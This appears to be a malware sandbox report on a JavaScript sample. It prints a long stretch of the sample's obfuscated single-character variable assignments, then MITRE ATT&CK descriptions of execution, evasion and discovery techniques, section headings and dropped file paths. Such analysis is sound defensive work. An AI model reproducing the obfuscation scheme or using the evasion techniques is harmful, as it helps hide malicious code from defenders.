488	avdtyull = "W";
489	avdtyull = "q";
490	avdtyull = "s";
491	avdtyull = "o";
492	avdtyull = "&";
493	yqnkcek = "B";
494	yqnkcek = "j";
495	yqnkcek = "Y";
496	yqnkcek = "I";
497	yqnkcek = "k";
498	yqnkcek = "E";
499	yqnkcek = "O";
500	yqnkcek = "d";
501	yqnkcek = "M";
502	yqnkcek = "H";
503	yqnkcek = "o";
504	yqnkcek = "P";
505	yqnkcek = "U";
506	yqnkcek = "E";
507	yqnkcek = "a";
508	yqnkcek = "i";
509	yqnkcek = "M";
510	yqnkcek = "k";
511	yqnkcek = "h";
512	yqnkcek = "H";
513	yqnkcek = "c";
514	yqnkcek = "H";
515	yqnkcek = "a";
516	yqnkcek = "E";
517	yqnkcek = "S";
518	yqnkcek = "K";
519	yqnkcek = "I";
520	yqnkcek = "F";
521	yqnkcek = "Z";
522	yqnkcek = "D";
523	yqnkcek = "P";
524	yqnkcek = "t";
525	pezadsqg = "S";
526	pezadsqg = "d";
527	pezadsqg = "m";
528	pezadsqg = "q";
529	pezadsqg = "C";
530	pezadsqg = "b";
531	pezadsqg = "D";
532	pezadsqg = "e";
533	pezadsqg = "C";
534	pezadsqg = "a";
535	pezadsqg = "i";
536	pezadsqg = "s";
537	pezadsqg = "w";
538	pezadsqg = "B";
539	pezadsqg = "j";
540	pezadsqg = "e";
541	pezadsqg = "T";
542	pezadsqg = "O";
543	pezadsqg = "K";
544	pezadsqg = "N";
545	pezadsqg = "I";
546	pezadsqg = "D";
547	pezadsqg = "t";
548	pezadsqg = "p";
549	pezadsqg = "r";
550	pezadsqg = "I";
551	pezadsqg = "i";
552	pezadsqg = "i";
553	pezadsqg = "b";
554	pezadsqg = "C";
555	jhsgn = "\"";
556	zixfihf = "m";
557	zixfihf = "Z";
558	zixfihf = "y";
559	zixfihf = "o";
560	zixfihf = "E";
561	zixfihf = "l";
562	zixfihf = "x";
563	zixfihf = "b";
564	zixfihf = "c";
565	zixfihf = "J";
566	zixfihf = "i";
567	zixfihf = ":";
568	xmmvtwprn = "O";
569	xmmvtwprn = "S";
570	xmmvtwprn = "E";
571	xmmvtwprn = "M";
572	xmmvtwprn = "y";
573	xmmvtwprn = "N";
574	xmmvtwprn = "J";
575	xmmvtwprn = "k";
576	xmmvtwprn = "Z";
577	xmmvtwprn = "w";
578	xmmvtwprn = "J";
579	xmmvtwprn = "O";
580	xmmvtwprn = "B";
581	xmmvtwprn = "P";
582	xmmvtwprn = "J";
583	xmmvtwprn = "f";
584	xmmvtwprn = "b";
585	xmmvtwprn = "D";
586	xmmvtwprn = "a";
587	xmmvtwprn = "G";
588	xmmvtwprn = "F";
589	xmmvtwprn = "v";
590	xmmvtwprn = "D";
591	xmmvtwprn = "h";
592	xmmvtwprn = "P";
593	xmmvtwprn = "\\";
594	yyvjawk = "l";
595	yyvjawk = "O";
596	yyvjawk = "a";
597	yyvjawk = "L";
598	yyvjawk = "T";
599	yyvjawk = "s";
600	yyvjawk = "b";
601	yyvjawk = "y";
602	yyvjawk = "C";
603	yyvjawk = "v";
604	yyvjawk = "h";
605	yyvjawk = "w";
606	yyvjawk = "W";
607	yyvjawk = "G";
608	yyvjawk = "u";
609	yyvjawk = "z";
610	yyvjawk = "Q";
611	yyvjawk = "r";
612	yyvjawk = "X";
613	yyvjawk = "v";
614	yyvjawk = "v";
615	yyvjawk = "j";
616	yyvjawk = "F";
617	yyvjawk = "e";
618	yyvjawk = "i";
619	yyvjawk = "t";
620	yyvjawk = "u";
621	yyvjawk = "d";
622	yyvjawk = "l";
623	yyvjawk = "n";
624	yyvjawk = "f";
625	yyvjawk = "D";
626	yyvjawk = "p";
627	yyvjawk = "D";
628	yyvjawk = "K";
629	yyvjawk = "n";
630	yyvjawk = "J";
631	yyvjawk = "9";
632	edtoat = "p";
633	edtoat = "m";
634	edtoat = "Q";
635	ivytp = "X";
636	ivytp = "l";
637	ivytp = "u";
638	ivytp = "w";
639	ivytp = "G";
640	ivytp = "p";
641	ivytp = "i";
642	ivytp = "o";
643	ivytp = "m";
644	ivytp = "k";
645	ivytp = "l";
646	myglggb = "X";
647	myglggb = "x";
648	myglggb = "U";
649	myglggb = "V";
650	myglggb = "U";
651	myglggb = "p";
652	myglggb = "T";
653	myglggb = "k";
654	myglggb = "R";
655	myglggb = "M";
656	myglggb = "c";
657	myglggb = "o";
658	myglggb = "G";
659	myglggb = "G";
660	myglggb = "J";
661	myglggb = "G";
662	myglggb = "M";
663	myglggb = "d";
664	myglggb = "S";
665	myglggb = "T";
666	myglggb = "Q";
667	myglggb = "K";
668	myglggb = "f";
669	myglggb = "g";
670	myglggb = "D";
671	myglggb = "b";
672	myglggb = "F";
673	myglggb = "m";
674	myglggb = "r";
675	myglggb = "c";
676	myglggb = "c";
677	tezgi = "R";
678	tezgi = "F";
679	tezgi = "X";
680	tezgi = "o";
681	tezgi = "p";
682	tezgi = "Z";
683	tezgi = "N";
684	tezgi = "b";
685	tezgi = "i";
686	tezgi = "J";
687	tezgi = "T";
688	tezgi = "C";
689	tezgi = "l";
690	tezgi = "a";
691	tezgi = "Y";
692	tezgi = "J";
693	tezgi = "l";
694	tezgi = "f";
695	tezgi = "s";
696	tezgi = "M";
697	tezgi = "J";
698	tezgi = "y";
699	tezgi = "f";
700	tezgi = "S";
701	tezgi = "g";
702	tezgi = "t";
703	tezgi = "k";
704	tezgi = "O";
705	tezgi = "O";
706	tezgi = "B";
707	tezgi = "t";
708	tezgi = "k";
709	tezgi = "c";
710	tezgi = "y";
711	tezgi = "s";
712	tezgi = "L";
713	mwgaghy = "H";
714	mwgaghy = "h";
715	mwgaghy = "q";
716	mwgaghy = "M";
717	mwgaghy = "l";
718	mwgaghy = "j";
719	mwgaghy = "j";
720	mwgaghy = "Z";
721	mwgaghy = "N";
722	mwgaghy = "N";
723	mwgaghy = "z";
724	mwgaghy = "x";
725	mwgaghy = "q";
726	mwgaghy = "y";
727	mwgaghy = "i";
728	mwgaghy = "k";
729	mwgaghy = "Z";
730	mwgaghy = "V";
731	mwgaghy = "r";
732	mwgaghy = "w";
733	mwgaghy = "E";
734	mwgaghy = "R";
735	mwgaghy = "b";
736	mwgaghy = "u";
737	mwgaghy = "r";
738	mwgaghy = "s";
739	mwgaghy = "O";
740	mwgaghy = "P";
741	mwgaghy = "k";
742	mwgaghy = "Z";
743	mwgaghy = "A";
744	mwgaghy = "y";
745	mwgaghy = "j";
746	mwgaghy = "t";
747	mwgaghy = "v";
748	mwgaghy = "U";
749	mwgaghy = "h";
750	mwgaghy = "s";
751	mwgaghy = "n";
752	mwgaghy = "R";
753	nyskl = "W";
754	nyskl = "z";
755	nyskl = "N";
756	nyskl = "U";
757	ybrkb = "i";
758	ybrkb = "e";
759	ybrkb = "s";
760	ybrkb = "i";
761	ybrkb = "b";
762	ybrkb = "X";
763	ybrkb = "o";
764	ybrkb = "K";
765	ybrkb = "q";
766	ybrkb = "u";
767	ybrkb = "V";
768	ybrkb = "I";
769	ybrkb = "G";
770	ybrkb = "T";
771	ybrkb = "m";
772	ybrkb = "G";
773	ybrkb = "d";
774	ybrkb = "H";
775	ybrkb = "W";
776	ybrkb = "z";
777	ybrkb = "g";
778	ybrkb = "O";
779	ybrkb = "H";
780	ybrkb = "m";
781	ybrkb = "k";
782	ybrkb = "P";
783	ybrkb = "i";
784	ybrkb = "K";
785	ybrkb = "M";
786	ybrkb = "g";
787	ybrkb = "c";
788	ybrkb = "t";
789	ybrkb = "h";
790	ybrkb = "v";
791	ybrkb = "c";
792	ybrkb = "X";
793	ybrkb = "J";
794	ybrkb = "X";
795	ybrkb = "M";
796	ybrkb = "j";
797	ybrkb = "A";
798	ybrkb = "x";
799	ysese = "Z";
800	ysese = "B";
801	ysese = "x";
802	ysese = "I";
803	ysese = "c";
804	ysese = "Q";
805	ysese = "v";
806	ysese = "F";
807	ysese = "P";
808	ysese = "K";
809	ysese = "E";
810	ysese = "M";
811	ysese = "W";
812	ysese = "W";
813	ysese = "q";
814	ysese = "i";
815	ysese = "d";
816	ysese = "G";
817	ysese = "a";
818	ysese = "X";
819	ysese = "m";
820	ysese = "p";
821	ysese = "h";
822	ysese = "I";
823	vppzfsstq = "T";
824	vppzfsstq = "B";
825	vppzfsstq = "Q";
826	vppzfsstq = "X";
827	vppzfsstq = "G";
828	vppzfsstq = "h";
829	vppzfsstq = "X";
830	vppzfsstq = "t";
831	vppzfsstq = "Z";
832	vppzfsstq = "T";
833	vppzfsstq = "I";
834	vppzfsstq = "v";
835	vppzfsstq = "g";
836	vppzfsstq = "h";
837	vppzfsstq = "m";
838	rqgsxfwnx = "V";
839	rqgsxfwnx = "l";
840	rqgsxfwnx = "m";
841	rqgsxfwnx = "y";
842	rqgsxfwnx = "s";
843	zcgohjfws = "u";
844	zcgohjfws = "q";
845	zcgohjfws = "F";
846	zcgohjfws = "v";
847	zcgohjfws = "y";
848	zcgohjfws = "W";
849	zcgohjfws = "d";
850	zcgohjfws = "b";
851	zcgohjfws = "E";
852	zcgohjfws = "S";
853	zcgohjfws = "U";
854	zcgohjfws = "m";
855	zcgohjfws = "p";
856	zcgohjfws = "t";
857	zcgohjfws = "v";
858	zcgohjfws = "t";
859	zcgohjfws = "X";
860	zcgohjfws = "J";
861	zcgohjfws = "s";
862	zcgohjfws = "A";
863	zcgohjfws = "y";
864	zcgohjfws = "z";
865	zcgohjfws = "d";
866	zcgohjfws = "W";
867	zcgohjfws = "m";
868	zcgohjfws = "A";
869	zcgohjfws = "Q";
870	zcgohjfws = "R";
871	zcgohjfws = "J";
872	zcgohjfws = "n";
873	zcgohjfws = "s";
874	zcgohjfws = "i";
875	mprjzn = "z";
876	mprjzn = "d";
877	mprjzn = "L";
878	mprjzn = "j";
879	mprjzn = "R";
880	mprjzn = "m";
881	mprjzn = "p";
882	mprjzn = "P";
883	mprjzn = "Q";
884	mprjzn = "O";
885	mprjzn = "O";
886	mprjzn = "O";
887	mprjzn = "V";
888	mprjzn = "m";
889	mprjzn = "c";
890	mprjzn = "I";
891	mprjzn = "J";
892	mprjzn = "j";
893	mprjzn = "x";
894	mprjzn = "d";
895	mprjzn = "A";
896	mprjzn = "S";
897	mprjzn = "J";
898	mprjzn = "r";
899	mprjzn = "e";
900	mprjzn = "u";
901	mprjzn = "m";
902	mprjzn = "u";
903	mprjzn = "k";
904	mprjzn = "k";
905	mprjzn = "E";
906	mprjzn = "D";
907	mprjzn = "p";
908	mprjzn = "Q";
909	mprjzn = "k";
910	mprjzn = "A";
911	mprjzn = "W";
912	mprjzn = "p";
913	ngahkaml = "T";
914	ngahkaml = "o";
915	ngahkaml = "W";
916	ngahkaml = "Q";
917	ngahkaml = "a";
918	ngahkaml = "f";
919	ngahkaml = "u";
920	ngahkaml = "S";
921	ngahkaml = "Z";
922	ngahkaml = "U";
923	ngahkaml = "N";
924	ngahkaml = "F";
925	ngahkaml = "O";
926	ngahkaml = "V";
927	ngahkaml = "d";
928	ngahkaml = "T";
929	ngahkaml = "M";
930	ngahkaml = "w";
931	ngahkaml = "t";
932	ngahkaml = "U";
933	ngahkaml = "H";
934	ngahkaml = "b";
935	ngahkaml = "Z";
936	ngahkaml = "s";
937	ngahkaml = "t";
938	ngahkaml = "f";
939	gjpxitq = "C";
940	gjpxitq = "m";
941	gjpxitq = "B";
942	gjpxitq = "X";
943	gjpxitq = "p";
944	gjpxitq = "o";
945	gjpxitq = "R";
946	gjpxitq = "y";
947	gjpxitq = "B";
948	gjpxitq = "B";
949	gjpxitq = "e";
950	gjpxitq = "1";
951	cbgcw = "k";
952	cbgcw = "q";
953	cbgcw = "U";
954	cbgcw = "h";
955	cbgcw = "N";
956	cbgcw = "F";
957	cbgcw = "h";
958	znimlq = "F";
959	znimlq = "t";
960	znimlq = ".";
961	mvpem = "c";
962	mvpem = "I";
963	mvpem = "g";
964	mvpem = "H";
965	mvpem = "E";
966	mvpem = "T";
967	mvpem = "A";
968	mvpem = "W";
969	mvpem = "E";
970	mvpem = "Q";
971	mvpem = "n";
972	mvpem = "Q";
973	mvpem = "Y";
974	mvpem = "D";
975	mvpem = "C";
976	mvpem = "u";
977	mvpem = "E";
978	mvpem = "T";
979	mvpem = "m";
980	mvpem = "E";
981	mvpem = "M";
982	mvpem = "v";
983	mvpem = "w";
984	mvpem = "u";
985	mvpem = "D";
986	mvpem = "y";
987	mvpem = "h";
988	mvpem = "w";
989	mvpem = "L";
990	mvpem = "u";
991	mvpem = "J";
992	mvpem = "r";
993	mvpem = "Y";
994	mvpem = "_";
995	glltd = "E";
996	glltd = "w";
997	glltd = "P";
998	glltd = "x";
999	glltd = "W";
1000	glltd = "K";
1001	glltd = "K";
1002	glltd = "Q";
1003	glltd = "q";
1004	glltd = "H";
1005	glltd = "A";
1006	glltd = "q";
1007	glltd = "r";
1008	glltd = "a";
1009	glltd = "y";
1010	glltd = "Q";
1011	glltd = "w";
1012	iajlldoc = "v";
1013	iajlldoc = "O";
1014	iajlldoc = "I";
1015	iajlldoc = "s";
1016	iajlldoc = "y";
1017	iajlldoc = "a";
1018	iajlldoc = "q";
1019	iajlldoc = "F";
1020	iajlldoc = "N";
1021	iajlldoc = "a";
1022	iajlldoc = "n";
1023	iajlldoc = "y";
1024	iajlldoc = "x";
1025	iajlldoc = "g";
1026	iajlldoc = "L";
1027	iajlldoc = "q";
1028	iajlldoc = "U";
1029	iajlldoc = "K";
1030	iajlldoc = "l";
1031	iajlldoc = "i";
1032	iajlldoc = "u";
1033	iajlldoc = "p";
1034	iajlldoc = "P";
1035	iajlldoc = "n";
1036	iajlldoc = "M";
1037	iajlldoc = "m";
1038	iajlldoc = "D";
1039	iajlldoc = "X";
1040	iajlldoc = "w";
1041	iajlldoc = "T";
1042	iajlldoc = "k";
1043	iajlldoc = "S";
1044	gyhamkee = "F";
1045	gyhamkee = "z";
1046	gyhamkee = "h";
1047	gyhamkee = "d";
1048	gyhamkee = "K";
1049	gyhamkee = "m";
1050	gyhamkee = "B";
1051	gyhamkee = "G";
1052	gyhamkee = "j";
1053	gyhamkee = "t";
1054	gyhamkee = "l";
1055	gyhamkee = "S";
1056	gyhamkee = "l";
1057	gyhamkee = "q";
1058	gyhamkee = "q";
1059	gyhamkee = "r";
1060	gyhamkee = "a";
1061	gyhamkee = "C";
1062	gyhamkee = "G";
1063	gyhamkee = "j";
1064	gyhamkee = "f";
1065	gyhamkee = "G";
1066	gyhamkee = "X";
1067	gyhamkee = "g";
1068	gyhamkee = "L";
1069	gyhamkee = "O";
1070	gyhamkee = "f";
1071	gyhamkee = "T";
1072	gyhamkee = "x";
1073	gyhamkee = "K";
1074	gyhamkee = "s";
1075	gyhamkee = "G";
1076	gyhamkee = "s";
1077	gyhamkee = "Q";
1078	gyhamkee = "w";
1079	gyhamkee = "d";
1080	gyhamkee = "g";
1081	gyhamkee = "g";
1082	akfbi = "Y";
1083	akfbi = "n";
1084	akfbi = "C";
1085	akfbi = "M";
1086	akfbi = "F";
1087	akfbi = "M";
1088	akfbi = "Q";
1089	akfbi = "D";
1090	akfbi = "R";
1091	akfbi = "t";
1092	akfbi = "y";
1093	akfbi = "s";
1094	akfbi = "D";
1095	akfbi = "N";
1096	akfbi = "k";
1097	akfbi = "D";
1098	akfbi = "h";
1099	akfbi = "f";
1100	akfbi = "d";
1101	akfbi = "F";
1102	akfbi = "B";
1103	akfbi = "P";
1104	akfbi = "X";
1105	akfbi = "u";
1106	akfbi = "g";
1107	akfbi = "D";
1108	akfbi = "q";
1109	akfbi = "d";
1110	akfbi = "z";
1111	akfbi = "r";
1112	akfbi = "a";
1113	akfbi = "O";
1114	xkajd = "m";
1115	xkajd = "E";
1116	xkajd = "E";
1117	xkajd = "n";
1118	xkajd = "I";
1119	xkajd = "O";
1120	xkajd = "y";
1121	xkajd = "o";
1122	xkajd = "o";
1123	xkajd = "Q";
1124	xkajd = "k";
1125	xkajd = "B";
1126	xkajd = "m";
1127	xkajd = "S";
1128	xkajd = "F";
1129	xkajd = "c";
1130	xkajd = "K";
1131	xkajd = "c";
1132	xkajd = "o";
1133	xkajd = "D";
1134	xkajd = "v";
1135	xkajd = "H";
1136	xkajd = "u";
1137	xkajd = "G";
1138	xkajd = "8";
1139	kipxowqy = "H";
1140	kipxowqy = "H";
1141	kipxowqy = "h";
1142	kipxowqy = "a";
1143	kipxowqy = "m";
1144	kipxowqy = "m";
1145	kipxowqy = "D";
1146	kipxowqy = "s";
1147	kipxowqy = "T";
1148	kipxowqy = "z";
1149	kipxowqy = "s";
1150	kipxowqy = "Y";
1151	kipxowqy = "v";
1152	kipxowqy = "I";
1153	kipxowqy = "s";
1154	kipxowqy = "w";
1155	kipxowqy = "v";
1156	kipxowqy = "Q";
1157	kipxowqy = "j";
1158	kipxowqy = "L";
1159	kipxowqy = "W";
1160	kipxowqy = "S";
1161	kipxowqy = "U";
1162	kipxowqy = "A";
1163	kipxowqy = "O";
1164	kipxowqy = "h";
1165	kipxowqy = "r";
1166	bnvinidcz = "@";
1167	zvvxj = "x";
1168	zvvxj = "l";
1169	zvvxj = "j";
1170	zvvxj = "V";
1171	zvvxj = "A";
1172	zvvxj = "V";
1173	zvvxj = "I";
1174	zvvxj = "n";
1175	zvvxj = "W";
1176	zvvxj = "C";
1177	zvvxj = "K";
1178	zvvxj = "E";
1179	zvvxj = "j";
1180	zvvxj = "M";
1181	zvvxj = "w";
1182	zvvxj = "M";
1183	zvvxj = "V";
1184	zvvxj = "i";
1185	zvvxj = "F";
1186	zvvxj = "R";
1187	zvvxj = "P";
1188	zvvxj = "X";
1189	zvvxj = "g";
1190	zvvxj = "y";
1191	zvvxj = "Y";
1192	zvvxj = "%";
1193	pujrnr = "W";
1194	pujrnr = "w";
1195	pujrnr = "U";
1196	pujrnr = "K";
1197	pujrnr = "E";
1198	pujrnr = "s";
1199	pujrnr = "G";
1200	pujrnr = "J";
1201	pujrnr = "k";
1202	bqrcr = "e";
1203	bqrcr = "b";
1204	bqrcr = "Y";
1205	bqrcr = "J";
1206	bqrcr = "f";
1207	bqrcr = "X";
1208	bqrcr = "X";
1209	bqrcr = "s";
1210	bqrcr = "I";
1211	bqrcr = "W";
1212	bqrcr = "l";
1213	bqrcr = "q";
1214	bqrcr = "A";
1215	bqrcr = "N";
1216	bqrcr = "R";
1217	bqrcr = "C";
1218	bqrcr = "F";
1219	bqrcr = "k";
1220	bqrcr = "x";
1221	bqrcr = "T";
1222	bqrcr = "I";
1223	bqrcr = "z";
1224	bqrcr = "R";
1225	bqrcr = "v";
1226	bqrcr = "j";
1227	bqrcr = "w";
1228	bqrcr = "D";
1229	bqrcr = "M";
1230	bqrcr = "m";
1231	bqrcr = "q";
1232	bqrcr = "O";
1233	bqrcr = "4";
1234	kipvdzal = "O";
1235	kipvdzal = "X";
1236	kipvdzal = "O";
1237	kipvdzal = "d";
1238	kipvdzal = "P";
1239	kipvdzal = "R";
1240	kipvdzal = "k";
1241	kipvdzal = "r";
1242	kipvdzal = "X";
1243	kipvdzal = "c";
1244	kipvdzal = "S";
1245	kipvdzal = "U";
1246	kipvdzal = "d";
1247	kipvdzal = "P";
1248	kipvdzal = "p";
1249	kipvdzal = "C";
1250	kipvdzal = "V";
1251	kipvdzal = "I";
1252	kipvdzal = "T";
1253	kipvdzal = "Z";
1254	kipvdzal = "S";
1255	kipvdzal = "p";
1256	kipvdzal = "v";
1257	kipvdzal = "B";
1258	kipvdzal = "j";
1259	kipvdzal = "r";
1260	kipvdzal = "U";
1261	kipvdzal = "O";
1262	kipvdzal = "V";
1263	kipvdzal = "C";
1264	kipvdzal = "i";
1265	kipvdzal = "u";
1266	nrjsllrr = "B";
1267	nrjsllrr = "S";
1268	nrjsllrr = "B";
1269	nrjsllrr = "E";
1270	nrjsllrr = "J";
1271	nrjsllrr = "l";
1272	nrjsllrr = "M";
1273	nrjsllrr = "k";
1274	nrjsllrr = "A";
1275	nrjsllrr = "d";
1276	nrjsllrr = "l";
1277	nrjsllrr = "d";
1278	nrjsllrr = "I";
1279	nrjsllrr = "F";
1280	nrjsllrr = "p";
1281	nrjsllrr = "V";
1282	nrjsllrr = "i";
1283	nrjsllrr = "F";
1284	nrjsllrr = "L";
1285	nrjsllrr = " ";
1286	cfjkl = "w";
1287	cfjkl = "V";
1288	cfjkl = "u";
1289	cfjkl = "Y";
1290	cfjkl = "W";
1291	cfjkl = "l";
1292	cfjkl = "3";
1293	stdwegy = "F";
1294	stdwegy = "E";
1295	stdwegy = "6";
1296	hvllrvon = "z";
1297	hvllrvon = "r";
1298	hvllrvon = "b";
1299	hvllrvon = "t";
1300	hvllrvon = "q";
1301	hvllrvon = "x";
1302	hvllrvon = "z";
1303	hvllrvon = "H";
1304	hvllrvon = "P";
1305	hvllrvon = "g";
1306	hvllrvon = "B";
1307	hvllrvon = "W";
1308	hvllrvon = "r";
1309	hvllrvon = "R";
1310	hvllrvon = "o";
1311	ocyvsmf ( );	ocyvsmf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2435213596266856603.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

